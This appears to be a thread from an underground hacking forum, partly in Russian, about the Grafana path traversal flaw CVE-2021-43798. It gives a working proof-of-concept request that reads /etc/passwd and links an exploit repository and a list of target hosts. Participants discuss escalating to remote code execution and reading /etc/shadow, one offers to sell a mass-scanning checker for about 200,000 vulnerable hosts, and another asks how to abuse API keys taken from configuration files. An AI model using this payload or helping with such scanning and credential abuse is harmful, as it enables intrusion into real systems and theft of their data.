Web Grafana 1-day - Path Traversal - CVE-2021-43798 (3 Dec 2021)

[marmalade]

The vulnerable URL path is: <grafana_host_url>/public/plugins/<“plugin-id”> where <“plugin-id”> is the plugin ID for any installed plugin.


Северити 8.5

PoC:

GET /public/plugins/grafana-clock-panel/../../../../../../../etc/passwd

333 Grafana hosts Test Polygon

https://termbin.com/glkj

 

[d3v1l]

GitHub - jas502n/Grafana-CVE-2021-43798: Grafana Unauthorized arbitrary file reading vulnerability

Grafana Unauthorized arbitrary file reading vulnerability - jas502n/Grafana-CVE-2021-43798

github.com

 

[marmalade]

Китайцы как всегда - жестоки и беспощадны
До RCE есть варианты дотянуть? На /shadow естественно рут прав не хватает, а /bin/bash -c завернуть туда никак?

P.S. Хостов около 200к по миру можно собрать. Продам/Обменяю многопоток чекер + прокси + парсер

 

[987skeet]

Китайцы как всегда - жестоки и беспощадны
До RCE есть варианты дотянуть? На /shadow естественно рут прав не хватает, а /bin/bash -c завернуть туда никак?

RCE can be achieved but only in limited settings, if Grafana runs in standalone Node.js application, exposes an outdated renderer, and renderer can access attacker-controlled webpage.

 

[marmalade]

RCE can be achieved but only in limited settings, if Grafana runs in standalone Node.js application, exposes an outdated renderer, and renderer can access attacker-controlled webpage.

Thx for info, small chance. Any ideas how to used Grafana API keys from config "properly"?